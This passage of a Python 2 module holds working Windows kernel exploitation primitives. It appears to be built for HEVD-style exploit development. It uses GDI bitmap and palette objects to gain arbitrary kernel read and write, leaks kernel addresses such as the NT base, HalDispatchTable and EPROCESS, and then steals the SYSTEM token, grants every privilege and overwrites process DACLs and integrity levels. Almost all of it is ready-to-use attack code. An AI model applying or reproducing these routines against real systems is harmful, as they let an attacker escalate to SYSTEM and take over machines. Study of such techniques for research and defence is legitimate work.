cBitsPerPel) return (manager_bitmap_handle, worker_bitmap_handle) def calculate_bitmap_size_parameters(s): """ This function will calculate the parameters to be used for bitmap allocation, if we know what is the size we need to allocate, height=1, cBitsPerPel=8 @param s: size of the bitmap we need @return: (width, height, cBitsPerPel) tuple """ p = platform.platform() if p == 'Windows-10-10.0.10586': bmp_offset = 0x258 min_size = 0x370 elif p == 'Windows-10-10.0.14393': bmp_offset = 0x260 min_size = 0x370 elif p == 'Windows-10-10.0.15063': bmp_offset = 0x260 min_size = 0x370 elif p == 'Windows-8-6.2.9200-SP0': bmp_offset = 0x250 min_size = 0x360 elif p == 'Windows-8.1-6.3.9600': bmp_offset = 0x258 min_size = 0x370 elif p == 'Windows-7-6.1.7601-SP1': bmp_offset = 0x238 min_size = 0x350 if s < min_size: print "[-] Too small size, such Bitmap can't be allocated..." sys.exit(-1) elif s < 0x1000: print "[+] Bitmap will be allocated in the Paged session pool" width = s - bmp_offset - 0x10 else: print "[+] Bitmap will be allocated in the Paged session pool / large pool" width = s - bmp_offset return (width, 1, 8) def get_gdisharedhandletable(): """ This function will return the GdiSharedHandleTable address of the current process """ process_basic_information = PROCESS_BASIC_INFORMATION() ntdll.NtQueryInformationProcess(kernel32.GetCurrentProcess(), ProcessBasicInformation, byref(process_basic_information), sizeof(process_basic_information), None) peb = process_basic_information.PebBaseAddress.contents return peb.GdiSharedHandleTable def get_pvscan0_address(bitmap_handle): """ Get the pvScan0 address, works up to Windows 10 v1511 @param bitmap_handle: handle to the bitmap @return: the PVSCAN0 address in the kernel """ gdicell64_address = get_gdisharedhandletable() + (bitmap_handle & 0xFFFF) * sizeof(GDICELL64()) #the address is in user space gdicell64 = cast(gdicell64_address,POINTER(GDICELL64)) pvscan0_address = gdicell64.contents.pKernelAddress + 0x50 #0x18 to SurfObj SURFOBJ64 -> 0x38 into SURFOBJ64 pvScan0 ULONG64 return pvscan0_address def set_address_bitmap(manager_bitmap, address): """ Sets the pvscan0 of the worker to the address we want to read/write later through the manager_bitmap @param manager_bitmap: handle to the manager bitmap @param address: the address to be set in worker bitmap's pvscan0 pointer """ address = c_ulonglong(address) gdi32.SetBitmapBits(manager_bitmap, sizeof(address), addressof(address)); def write_memory_bitmap(manager_bitmap, worker_bitmap, dst, src, len): """ Writes len number of bytes to the destination memory address from the source memory @param manager_bitmap: handle to the manager bitmap @param worker_bitmap: handle to the worker bitmap @param dst: destination to write to @param src: the source to copy from @param len: the amount to write """ set_address_bitmap(manager_bitmap, dst) gdi32.SetBitmapBits(worker_bitmap, len, src) def read_memory_bitmap(manager_bitmap, worker_bitmap, src, dst, len): """ Reads len number of bytes to the destination memory address from the source memory @param manager_bitmap: handle to the manager bitmap @param worker_bitmap: handle to the worker bitmap @param dst: destination to copy to @param src: the source to read from @param len: the amount to read """ set_address_bitmap(manager_bitmap, src) gdi32.GetBitmapBits(worker_bitmap, len, dst) def create_palette_with_size(s): """ Creates a palette with the size we want @param s: size of the palette @return: handle to the palette """ p = platform.platform() #from Windows v1607 onwards the PALETTE HEADER is smaller with 8 bytes if p == 'Windows-10-10.0.14393' or p == 'Windows-10-10.0.15063' or p == 'Windows-10-10.0.16299': palette_entries_offset = 0x88 elif p == 'Windows-10-10.0.10586' or p == 'Windows-8-6.2.9200-SP0' or p == 'Windows-8.1-6.3.9600' or p == 'Windows-7-6.1.7601-SP1': palette_entries_offset = 0x90 else: print "[-] This platform is not supported for palettes" sys.exit(-1) if s <= palette_entries_offset: print '[-] Bad plaette size! can\'t allocate palette of size < %s!' % hex(palette_entries_offset) sys.exit(-1) pal_cnt = (s - palette_entries_offset) / 4 lPalette = LOGPALETTE() lPalette.palNumEntries = pal_cnt lPalette.palVersion = 0x300 palette_handle = HANDLE() palette_handle = gdi32.CreatePalette(byref(lPalette)) if palette_handle == None: print '[-] Couldn\'t create palette, exiting...' sys.exit(-1) return palette_handle def set_address_palette(manager_platte_handle, address): """ Sets the pFirstColor of the worker to the address we want to read/write later through the manager palette @param manager_platte_handle: handle to the manager palette @param address: the address to be set in worker palette's pFirstColor pointer """ address = c_ulonglong(address) #we need to divide the len by 4 as the PALETTENTRY is 4 byte gdi32.SetPaletteEntries(manager_platte_handle, 0, sizeof(address)/4, addressof(address)); def write_memory_palette(manager_platte_handle, worker_platte_handle, dst, src, len): """ Writes len number of bytes to the destination memory address from the source memory @param manager_platte_handle: handle to the manager palette @param worker_platte_handle: handle to the worker palette @param dst: destination to write to @param src: the source to copy from @param len: the amount to write """ set_address_palette(manager_platte_handle, dst) #we need to divide the len by 4 as the PALETTENTRY is 4 byte gdi32.SetPaletteEntries(worker_platte_handle, 0, len/4, src) def read_memory_palette(manager_platte_handle, worker_platte_handle, src, dst, len): """ Reads len number of bytes to the destination memory address from the source memory @param manager_platte_handle: handle to the manager bitmap @param worker_platte_handle: handle to the worker bitmap @param dst: destination to copy to @param src: the source to read from @param len: the amount to read """ set_address_palette(manager_platte_handle, src) #we need to divide the len by 4 as the PALETTENTRY is 4 byte gdi32.GetPaletteEntries(worker_platte_handle, 0, len/4, dst) def leak_nt_base_palette(manager_palette, worker_palette): """ Function to leak the NT base via TEB Based on: https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Pointer-Leak.ps1 and https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf @param manager_platte: handle to the manager palette @param worker_platte: handle to the worker palette @return: NT base """ print "[*] Leaking NT base via TEB and PALETTEs" teb = get_teb_base() Win32ThreadInfo_address = c_ulonglong() read_memory_palette(manager_palette, worker_palette, teb + 0x78, byref(Win32ThreadInfo_address), sizeof(Win32ThreadInfo_address)) print "[+] Win32ThreadInfo_address: %s" % hex(Win32ThreadInfo_address.value) KTHREAD_address = c_ulonglong() read_memory_palette(manager_palette, worker_palette, Win32ThreadInfo_address.value, byref(KTHREAD_address), sizeof(KTHREAD_address)) print "[+] KTHREAD address: %s " % hex(KTHREAD_address.value) pointer_into_nt = c_ulonglong() read_memory_palette(manager_palette, worker_palette, KTHREAD_address.value + 0x2a8, byref(pointer_into_nt), sizeof(pointer_into_nt)) print "[+] Pointer into NT address: %s" % hex(pointer_into_nt.value) #search the MZ header backwards mz = 0x905a4d start_address = 0xFFFFFFFFFFFFF000 & pointer_into_nt.value while(True): data = c_uint() #check the first 4 bytes of the page if it's the MZ header read_memory_palette(manager_palette, worker_palette, start_address, byref(data), sizeof(data)) if data.value == mz: print "[+] NT base address found: %s" % hex(start_address) return start_address else: start_address = start_address - 0x1000 def leak_haldispatchtable_palette(manager_palette, worker_palette): """ Function to leak the HalDispatchTable Address using PALETTEs @param manager_platte: handle to the manager palette @param worker_platte: handle to the worker palette @return: HalDispatchTable address """ print "[*] Locating HalDispatchTable base..." if platform.architecture()[0] == '64bit': kernel32.LoadLibraryExA.restype = c_uint64 kernel32.GetProcAddress.argtypes = [c_uint64, POINTER(c_char)] kernel32.GetProcAddress.restype = c_uint64 krnlbase = leak_nt_base_palette(manager_palette, worker_palette) kernelver = ['ntoskrnl.exe','ntkrnlmp.exe','ntkrnlpa.exe','ntkrpamp.exe'] for k in kernelver: print "[+] Loading %s in userland" % k hKernel = kernel32.LoadLibraryExA(k, 0, 1) if hKernel != 0: print "[+] %s base address : %s" % (k, hex(hKernel)) break if hKernel == 0: print "[-] Couldn't load kernel, exiting..." sys.exit(-1) HalDispatchTable = kernel32.GetProcAddress(hKernel, 'HalDispatchTable') HalDispatchTable -= hKernel HalDispatchTable += krnlbase print "[+] HalDispatchTable address:", hex(HalDispatchTable) return HalDispatchTable #original source: https://github.com/GradiusX/HEVD-Python-Solutions def get_current_eprocess_bitmap(manager_bitmap, worker_bitmap, pointer_EPROCESS): """ This function gets the kernel address of the current EPROCESS structure. It does it by going through the EPROCESS linked list. We need the bitmaps in order to read from memory. @param manager_bitmap: handle to the manager bitmap @param worker_bitmap: handle to the worker bitmap @param pointer_EPROCESS: pointer to an EPROCESS structure to start with (typically SYSTEM) @return: pointer to the current EPROCESS structure """ if platform.architecture()[0] == '64bit': #get OS EPROCESS structure constans values (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) = getosvariablesx64() flink = c_ulonglong() read_memory_bitmap(manager_bitmap, worker_bitmap, pointer_EPROCESS + EPROCESS_ActiveProcessLinks, byref(flink), sizeof(flink)); current_pointer_EPROCESS = 0 while (1): unique_process_id = c_ulonglong(0) # Adjust EPROCESS pointer for next entry; flink.value is pointing to the next Flink so we need to subtract that offset pointer_EPROCESS = flink.value - EPROCESS_ActiveProcessLinks # Get PID; read_memory_bitmap(manager_bitmap, worker_bitmap, pointer_EPROCESS + EPROCESS_UniqueProcessId, byref(unique_process_id), sizeof(unique_process_id)); # Check if we're in the current process if (os.getpid() == unique_process_id.value): current_pointer_EPROCESS = pointer_EPROCESS break read_memory_bitmap(manager_bitmap, worker_bitmap, pointer_EPROCESS + EPROCESS_ActiveProcessLinks, byref(flink), sizeof(flink)); # If next same as last, we've reached the end if (pointer_EPROCESS == flink.value - EPROCESS_ActiveProcessLinks): break return current_pointer_EPROCESS else: print "[-] Getting the current EPROCESS strcuture function is not prepared to work on x86, exiting..." sys.exit(-1) def find_eprocess_by_pid_palette(manager_palette, worker_palette, pointer_EPROCESS, search_pid): """ This function gets the kernel address of the EPROCESS structure for the given PID. It does it by going through the EPROCESS linked list. We need the palettes in order to read from memory. @param manager_palette: handle to the manager palette @param worker_palette: handle to the worker palette @param pointer_EPROCESS: pointer to an EPROCESS structure to start with @param search_pid: The PID of the process which EPROCESS we look for @return: pointer to the current EPROCESS structure """ if platform.architecture()[0] == '64bit': #get OS EPROCESS structure constans values (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) = getosvariablesx64() flink = c_ulonglong() read_memory_palette(manager_palette, worker_palette, pointer_EPROCESS + EPROCESS_ActiveProcessLinks, byref(flink), sizeof(flink)); current_pointer_EPROCESS = 0 while (1): unique_process_id = c_ulonglong(0) # Adjust EPROCESS pointer for next entry; flink.value is pointing to the next Flink so we need to subtract that offset pointer_EPROCESS = flink.value - EPROCESS_ActiveProcessLinks # Get PID; read_memory_palette(manager_palette, worker_palette, pointer_EPROCESS + EPROCESS_UniqueProcessId, byref(unique_process_id), sizeof(unique_process_id)); # Check if we're in the current process if (search_pid == unique_process_id.value): current_pointer_EPROCESS = pointer_EPROCESS break read_memory_palette(manager_palette, worker_palette, pointer_EPROCESS + EPROCESS_ActiveProcessLinks, byref(flink), sizeof(flink)); # If next same as last, we've reached the end if (pointer_EPROCESS == flink.value - EPROCESS_ActiveProcessLinks): break return current_pointer_EPROCESS else: print "[-] Getting the current EPROCESS strcuture function is not prepared to work on x86, exiting..." sys.exit(-1) def get_current_and_system_eprocess_palette(manager_palette, worker_palette): """ This function gets the kernel address of the current and SYSTEM EPROCESS structure We need the palettes in order to read from memory. @param manager_palette: handle to the manager palette @param worker_palette: handle to the worker palette @return: tuple of the memeory addresses to the EPROCESS structures """ if platform.architecture()[0] == '64bit': # Get SYSTEM EPROCESS try: print "[*] Trying with PsInitialSystemProcess" #try first running this in case process runs in medium integrity mode PsInitialSystemProcess = get_psinitialsystemprocess() system_EPROCESS = c_ulonglong() read_memory_palette(manager_palette, worker_palette, PsInitialSystemProcess, byref(system_EPROCESS), sizeof(system_EPROCESS)); system_EPROCESS = system_EPROCESS.value print "[+] SYSTEM EPROCESS: %s" % hex(system_EPROCESS) # Get current EPROCESS current_EPROCESS = find_eprocess_by_pid_palette(manager_palette, worker_palette, system_EPROCESS, os.getpid()) print "[+] Current EPROCESS: %s" % hex(current_EPROCESS) except Exception, e: print "[-] Error: %s" % str(e) print "[*] Process possibly runs in low integrity, trying to leak address with tagWND structures" current_EPROCESS = leak_eprocess_address_palette(manager_palette, worker_palette) print "[+] Current EPROCESS: %s" % hex(current_EPROCESS) system_EPROCESS = find_eprocess_by_pid_palette(manager_palette, worker_palette, current_EPROCESS, 4) print "[+] SYSTEM EPROCESS: %s" % hex(system_EPROCESS) return (current_EPROCESS, system_EPROCESS) else: print "[-] Getting the current and SYSTEM EPROCESS strcuture function is not prepared to work on x86, exiting..." sys.exit(-1) def find_pid_and_eprocess_by_name_palette(manager_palette, worker_palette, pointer_EPROCESS, search_name): """ This function gets the PID of a process with the given name. It does it by going through the EPROCESS linked list with the help of PALETTE objects. We need the palettes in order to read from memory. @param manager_palette: handle to the manager palette @param worker_palette: handle to the worker palette @param pointer_EPROCESS: pointer to an EPROCESS structure to start with @param search_name: The process we look for @return: PID of the process and the EPROCESS address """ if platform.architecture()[0] == '64bit': #get OS EPROCESS structure constans values (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) = getosvariablesx64() flink = c_ulonglong() read_memory_palette(manager_palette, worker_palette, pointer_EPROCESS + EPROCESS_ActiveProcessLinks, byref(flink), sizeof(flink)); current_pointer_EPROCESS = 0 while (1): unique_process_id = c_ulonglong(0) image_file_name = c_uint(0) #we will read the first 4 bytes to this # Adjust EPROCESS pointer for next entry; flink.value is pointing to the next Flink so we need to subtract that offset pointer_EPROCESS = flink.value - EPROCESS_ActiveProcessLinks # Get PID; read_memory_palette(manager_palette, worker_palette, pointer_EPROCESS + EPROCESS_UniqueProcessId, byref(unique_process_id), sizeof(unique_process_id)); # Get Name; read_memory_palette(manager_palette, worker_palette, pointer_EPROCESS + EPROCESS_ImageFileName, byref(image_file_name), sizeof(image_file_name)); current_name_4bytes = struct.pack("I",image_file_name.value).lower() # Check if we're in the current process if (current_name_4bytes == search_name[0:4]): break read_memory_palette(manager_palette, worker_palette, pointer_EPROCESS + EPROCESS_ActiveProcessLinks, byref(flink), sizeof(flink)); # If next same as last, we've reached the end if (pointer_EPROCESS == flink.value - EPROCESS_ActiveProcessLinks): break print "[+] PID of %s is: %s" % (search_name, hex(unique_process_id.value)) print "[+] EPROCESS structure of %s is at: %s" % (search_name, hex(pointer_EPROCESS)) return (unique_process_id.value, pointer_EPROCESS) else: print "[-] Getting the current EPROCESS strcuture function is not prepared to work on x86, exiting..." sys.exit(-1) def tokenstealing_with_bitmaps(manager_bitmap, worker_bitmap): """ This function perform tokenstealing with the help of bitmaps @param manager_bitmap: handle to the manager bitmap @param worker_bitmap: handle to the worker bitmap """ if platform.architecture()[0] == '64bit': # Get SYSTEM EPROCESS PsInitialSystemProcess = get_psinitialsystemprocess() system_EPROCESS = c_ulonglong() read_memory_bitmap(manager_bitmap, worker_bitmap, PsInitialSystemProcess, byref(system_EPROCESS), sizeof(system_EPROCESS)); system_EPROCESS = system_EPROCESS.value print "[+] SYSTEM EPROCESS: %s" % hex(system_EPROCESS) # Get current EPROCESS current_EPROCESS = get_current_eprocess_bitmap(manager_bitmap, worker_bitmap, system_EPROCESS) print "[+] Current EPROCESS: %s" % hex(current_EPROCESS) (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) = getosvariablesx64() system_token = c_ulonglong() print "[+] Reading System TOKEN" read_memory_bitmap(manager_bitmap, worker_bitmap, system_EPROCESS + EPROCESS_Token, byref(system_token), sizeof(system_token)); print "[+] Writing System TOKEN" write_memory_bitmap(manager_bitmap, worker_bitmap, current_EPROCESS + EPROCESS_Token, byref(system_token), sizeof(system_token)); else: print "[-]Token stealing with bitmaps function is not prepared to work on x86, exiting..." sys.exit(-1) def privilege_with_palettes(manager_palette, worker_palette): """ This function will give full privileges to the process, like described here: https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-3 @param manager_palette: handle to the manager palette @param worker_palette: handle to the worker palette """ print "[*] Giving full privileges to the process" if platform.architecture()[0] == '64bit': # Get SYSTEM EPROCESS (current_EPROCESS, system_EPROCESS) = get_current_and_system_eprocess_palette(manager_palette, worker_palette) (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) = getosvariablesx64() token = c_ulonglong() print "[+] Reading TOKEN address" read_memory_palette(manager_palette, worker_palette, current_EPROCESS + EPROCESS_Token, byref(token), sizeof(token)); token_address = 0xFFFFFFFFFFFFFFF0 & token.value print "[+] Giving full privileges" full_priv = c_ulonglong(0xFFFFFFFFFFFFFFFF) write_memory_palette(manager_palette, worker_palette, token_address + 0x40, byref(full_priv), sizeof(full_priv)); #Present bits, has to be set on newer Win10 versions write_memory_palette(manager_palette, worker_palette, token_address + 0x48, byref(full_priv), sizeof(full_priv)); #Enabled bits else: print "[-]Giving full privileges to the process is not prepared to work on x86, exiting..." sys.exit(-1) def acl_with_palettes(manager_palette, worker_palette, search_name): """ This function will give full privileges to the process, like described here: https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-4-there-is-no-code @param manager_palette: handle to the manager palette @param worker_palette: handle to the worker palette @param search_name: the process to look for """ print "[*] Setting ACL on %s" % search_name if platform.architecture()[0] == '64bit': # Get SYSTEM EPROCESS (current_EPROCESS, system_EPROCESS) = get_current_and_system_eprocess_palette(manager_palette, worker_palette) (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) = getosvariablesx64() (pid, pointer_EPROCESS) = find_pid_and_eprocess_by_name_palette(manager_palette, worker_palette, current_EPROCESS, search_name) #SecurityDescriptor is at -0x8 offset from EPROCESS, it's in the OBJECT_HEADER SecurityDescriptor_pointer = c_ulonglong(0) read_memory_palette(manager_palette, worker_palette, pointer_EPROCESS - 0x8, byref(SecurityDescriptor_pointer), sizeof(SecurityDescriptor_pointer)); SecurityDescriptor_address = SecurityDescriptor_pointer.value & 0xFFFFFFFFFFFFFFF0 print "[*] SecurityDescriptor_address is at %s " % hex(SecurityDescriptor_address) DACL = c_ulonglong(0) read_memory_palette(manager_palette, worker_palette, SecurityDescriptor_address + 0x48, byref(DACL), sizeof(DACL)); DACL_overwrite = c_ulonglong((DACL.value & 0xFFFFFFFFFFFFFF00) + 0xb) write_memory_palette(manager_palette, worker_palette, SecurityDescriptor_address + 0x48, byref(DACL_overwrite), sizeof(DACL_overwrite)); token = c_ulonglong() print "[+] Reading TOKEN address" read_memory_palette(manager_palette, worker_palette, current_EPROCESS + EPROCESS_Token, byref(token), sizeof(token)); token_address = 0xFFFFFFFFFFFFFFF0 & token.value integrity_level_settings = c_ulonglong(0) read_memory_palette(manager_palette, worker_palette, token_address + TOKEN_IntegrityLevelIndex, byref(integrity_level_settings), sizeof(integrity_level_settings)); integrity_level_settings_overwrite = c_ulonglong(integrity_level_settings.value & 0xFFFFFF00FFFFFFFF) write_memory_palette(manager_palette, worker_palette, token_address + TOKEN_IntegrityLevelIndex, byref(integrity_level_settings_overwrite), sizeof(integrity_level_settings_overwrite)); else: print "[-]Setting ACL is not prepared to work on x86, exiting..." sys.exit(-1) def tokenstealing_with_palettes(manager_palette, worker_palette): """ This function perform tokenstealing with the help of palettes @param manager_palette: handle to the manager palette @param worker_palette: handle to the worker palette """ if platform.architecture()[0] == '64bit': # Get SYSTEM EPROCESS (current_EPROCESS, system_EPROCESS) = get_current_and_system_eprocess_palette(manager_palette, worker_palette) (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) = getosvariablesx64() system_token = c_ulonglong() print "[+] Reading System TOKEN" read_memory_palette(manager_palette, worker_palette, system_EPROCESS + EPROCESS_Token, byref(system_token), sizeof(system_token)); print "[+] Writing System TOKEN" write_memory_palette(manager_palette, worker_palette, current_EPROCESS + EPROCESS_Token, byref(system_token), sizeof(system_token)); else: print "[-]Token stealing with palettes function is not prepared to work on x86, exiting..." sys.exit(-1) def get_accel_kernel_address(handle): """ Returns kernel pointer of Accelerator Table given a Handle to it @param handle: handle @return: kernel pointer of Accelerator Table """ if platform.architecture()[0] == '64bit': gSharedInfo_address = kernel32.GetProcAddress(user32._handle,"gSharedInfo") handle_entry = cast (gSharedInfo_address + 0x8, POINTER(c_void_p)) pHead_ptr_ptr = handle_entry.contents.value + (handle & 0xFFFF) * 0x18 pHead_ptr = cast(pHead_ptr_ptr, POINTER(c_void_p)) else: gSharedInfo_address = kernel32.GetProcAddress(user32._handle,"gSharedInfo") handle_entry = cast (gSharedInfo_address + 0x8, POINTER(c_void_p)) pHead_ptr_ptr = handle_entry.contents.value + (handle & 0xFFFF) * 0xc pHead_ptr = cast(pHead_ptr_ptr, POINTER(c_void_p)) return pHead_ptr.contents.value def alloc_free_accelerator_tables(): """ Allocates and Frees Accelerator Tables until last 2 addresses match @return kernel pointer to the accelarator table """ previous_kernel_address = 0 while (1): accel_array = ACCEL_ARRAY() hAccel = user32.CreateAcceleratorTableA(addressof(accel_array), 675) # size = 0x1000 kernel_address = get_accel_kernel_address(hAccel) user32.DestroyAcceleratorTable(hAccel) if previous_kernel_address == kernel_address: print "[+] Duplicate AcceleratorTable: 0x%X" % kernel_address return kernel_address previous_kernel_address = kernel_address #https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp def findHMValidateHandle(): """ Searches for HMValidateHandle() function @return: pHMValidateHandle """ print "[*] Locating HMValidateHandle offset" kernel32.LoadLibraryA.restype = HMODULE hUser32 = kernel32.LoadLibraryA("user32.dll") pIsMenu = kernel32.GetProcAddress(hUser32, "IsMenu") if pIsMenu == None: print "[-] Failed to find location of exported function 'IsMenu' within user32.dll..." sys.exit(-1) print "[+] user32.IsMenu: 0x%X" % pIsMenu pHMValidateHandle_offset = 0 offset = 0 while (offset < 0x1000): tempByte = cast(pIsMenu + offset, POINTER(c_ubyte)) # if byte == 0xE8 if tempByte.contents.value == 0xE8: pHMValidateHandle_offset = pIsMenu + offset + 1 break offset = offset + 1 if pHMValidateHandle_offset == 0: print "[-] Failed to find offset of HMValidateHandle from location of 'IsMenu'..." sys.exit(-1) print "[+] Pointer to HMValidateHandle offset: 0x%X" % pHMValidateHandle_offset HMValidateHandle_offset = (cast(pHMValidateHandle_offset, POINTER(c_long))).contents.value print "[+] HMValidateHandle offset: 0x%X" % HMValidateHandle_offset #Add 0xb because relative offset of call starts from next instruction after call, which is 0xb bytes from start of user32.IsMenu #The +11 is to skip the padding bytes as on Windows 10 these aren't nops pHMValidateHandle = pIsMenu + HMValidateHandle_offset + 0xb print "[+] HMValidateHandle pointer: 0x%X" % pHMValidateHandle return pHMValidateHandle def PyWndProcedure(hWnd, Msg, wParam, lParam): """ Callback Function for CreateWindow() """ # if Msg == WM_DESTROY if Msg == 2: user32.PostQuitMessage(0) else: return user32.DefWindowProcW(hWnd, Msg, wParam, lParam) return 0 #source: https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1703/HEVD_arbitraryoverwrite.py def allocate_free_window(classNumber, pHMValidateHandle): """ Allocate and Free a single Window """ # Create prototype for HMValidateHandle() HMValidateHandleProto = WINFUNCTYPE (c_ulonglong, HWND, c_int) HMValidateHandle = HMValidateHandleProto(pHMValidateHandle) WndProc = WNDPROCTYPE(PyWndProcedure) hInst = kernel32.GetModuleHandleA(0) # instantiate WNDCLASSEX wndClass = WNDCLASSEX() wndClass.cbSize = sizeof(WNDCLASSEX) wndClass.lpfnWndProc = WndProc wndClass.cbWndExtra = 0 wndClass.hInstance = hInst wndClass.lpszMenuName = 'A' * 0x8f0 wndClass.lpszClassName = "Class_" + str(classNumber) # Register Class and Create Window hCls = user32.RegisterClassExW(byref(wndClass)) hWnd = user32.CreateWindowExA(0,"Class_" + str(classNumber),'Franco',0xcf0000,0,0,300,300,0,0,hInst,0) p = platform.platform() if p == 'Windows-10-10.0.15063': pcls = 0xa8 lpszMenuNameOffset = 0x90 elif p == 'Windows-10-10.0.16299': pcls = 0xa8 lpszMenuNameOffset = 0x98 else: pcls = 0x98 lpszMenuNameOffset = 0x88 # Run HMValidateHandle on Window handle to get a copy of it in userland pWnd = HMValidateHandle(hWnd,1) # Read pSelf from copied Window kernelpSelf = (cast(pWnd+0x20, POINTER(c_ulonglong))).contents.value # Calculate ulClientDelta (tagWND.pSelf - HMValidateHandle()) # pSelf = ptr to object in Kernel Desktop Heap; pWnd = ptr to object in User Desktop Heap ulClientDelta = kernelpSelf - pWnd # Read tagCLS from copied Window kernelTagCLS = (cast(pWnd+pcls, POINTER(c_ulonglong))).contents.value # Calculate user-land tagCLS location: tagCLS - ulClientDelta userTagCLS = kernelTagCLS - ulClientDelta # Calculate kernel-land tagCLS.lpszMenuName tagCLS_lpszMenuName = (cast (userTagCLS+lpszMenuNameOffset, POINTER(c_ulonglong))).contents.value # Destroy Window user32.DestroyWindow(hWnd) # Unregister Class user32.UnregisterClassW(c_wchar_p("Class_" + str(classNumber)), hInst) return tagCLS_lpszMenuName def leak_eprocess_address_palette(manager_palette, worker_palette): """ This function can be used to leak the current process EPROCESS structure address from low integrity mode, as described here: https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-4-there-is-no-code @param manager_palette: handle to the manager palette @param worker_palette: handle to the worker palette @return: address of the EPROCESS """ print "[*] Leaking EPROCESS using tagWND and PALETTE objects" pHMValidateHandle = findHMValidateHandle() HMValidateHandleProto = WINFUNCTYPE (c_ulonglong, HWND, c_int) HMValidateHandle = HMValidateHandleProto(pHMValidateHandle) WndProc = WNDPROCTYPE(PyWndProcedure) hInst = kernel32.GetModuleHandleA(0) # instantiate WNDCLASSEX wndClass = WNDCLASSEX() wndClass.cbSize = sizeof(WNDCLASSEX) wndClass.lpfnWndProc = WndProc wndClass.cbWndExtra = 0 wndClass.hInstance = hInst wndClass.lpszMenuName = 'A' * 0x8f0 wndClass.lpszClassName = "Class_Leaker" # Register Class and Create Window hCls = user32.RegisterClassExW(byref(wndClass)) hWnd = user32.CreateWindowExA(0,"Class_Leaker",'Franco',0xcf0000,0,0,300,300,0,0,hInst,0) pWnd = HMValidateHandle(hWnd,1) kernelpSelf = (cast(pWnd+0x20, POINTER(c_ulonglong))).contents.value #tagWND in kernel pThreadInfo = c_ulonglong() read_memory_palette(manager_palette, worker_palette, kernelpSelf + 0x10, byref(pThreadInfo), sizeof(pThreadInfo)); #tagWND + 0x10 is a pointer to THREADINFO structure pEthread = c_ulonglong() read_memory_palette(manager_palette, worker_palette, pThreadInfo.value, byref(pEthread), sizeof(pEthread)); #offset 0x0 in THREADINFO pointer to ETHREAD (KTHREAD_Process, EPROCESS_ActiveProcessLinks, EPROCESS_UniqueProcessId, EPROCESS_Token, EPROCESS_ImageFileName, TOKEN_IntegrityLevelIndex) = getosvariablesx64() eprocess = c_ulonglong() read_memory_palette(manager_palette, worker_palette, pEthread.value + KTHREAD_Process, byref(eprocess), sizeof(eprocess)); #offset to pointer to EPROCESS print "[+] EPROCESS address leaked: %s" % hex(eprocess.value) return eprocess.value #source: https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1703/HEVD_arbitraryoverwrite.py def alloc_free_windows(classNumber): """ Calls alloc_free_window() until current address matches previous one """ pHMValidateHandle = findHMValidateHandle() previous_entry = 0 while (1): plpszMenuName = allocate_free_window(classNumber, pHMValidateHandle) if previous_entry == plpszMenuName: return plpszMenuName previous_entry = plpszMenuName classNumber = classNumber + 1 def gdi_abuse_gdisharedhandletable_technique(): """ Technique to be used on Win 10 v1511 or earlier. Locate the pvscan0 address with the help of gdiSharedHandleTable @return: pvscan0 address of the manager and worker bitmap and the handles """ (manager_bitmap_handle, worker_bitmap_handle) = create_bitmaps(0x64, 0x64, 32) worker_bitmap_pvscan0 = get_pvscan0_address(worker_bitmap_handle) manager_bitmap_pvscan0 = get_pvscan0_address(manager_bitmap_handle) return (manager_bitmap_pvscan0, worker_bitmap_pvscan0, manager_bitmap_handle, worker_bitmap_handle) def gdi_abuse_accelerator_tables_technique(): """ Technique to be used on Win 10 v1607 or earlier. Locate the pvscan0 address with the help of ACCEL user object @return: pvscan0 address of the manager and worker bitmap and the handles """ accelerator_address = alloc_free_accelerator_tables() manager_bitmap_handle = create_bitmap(0x100, 0x6D, 1) manager_bitmap_pvscan0 = accelerator_address + 0x50 accelerator_address = alloc_free_accelerator_tables() worker_bitmap_handle = create_bitmap(0x100, 0x6D, 1) worker_bitmap_pvscan0 = accelerator_address + 0x50 return (manager_bitmap_pvscan0, worker_bitmap_pvscan0, manager_bitmap_handle, worker_bitmap_handle) def gdi_abuse_tagwnd_technique_bitmap(): """ Technique to be used on Win 10 v1703 or earlier. Locate the pvscan0 address with the help of tagWND structures @return: pvscan0 address of the manager and worker bitmap and the handles """ window_address = alloc_free_windows(0) manager_bitmap_handle = create_bitmap(0x100, 0x6D, 1) manager_bitmap_pvscan0 = window_address + 0x50 window_address = alloc_free_windows(0) worker_bitmap_handle = create_bitmap(0x100, 0x6D, 1) worker_bitmap_pvscan0 = window_address + 0x50 return (manager_bitmap_pvscan0, worker_bitmap_pvscan0, manager_bitmap_handle, worker_bitmap_handle) def gdi_abuse_tagwnd_technique_palette(): """ Technique to be used on Win 10 v1709 or earlier. Locate the pFirstColor address with the help of tagWND structures @return: pFirstColor address of the manager and worker palettes and the handles """ p = platform.platform() a = platform.architecture()[0] if a == '32bit' and p == 'Windows-7-6.1.7601-SP1': pFirstColor_offset = 0x4c elif 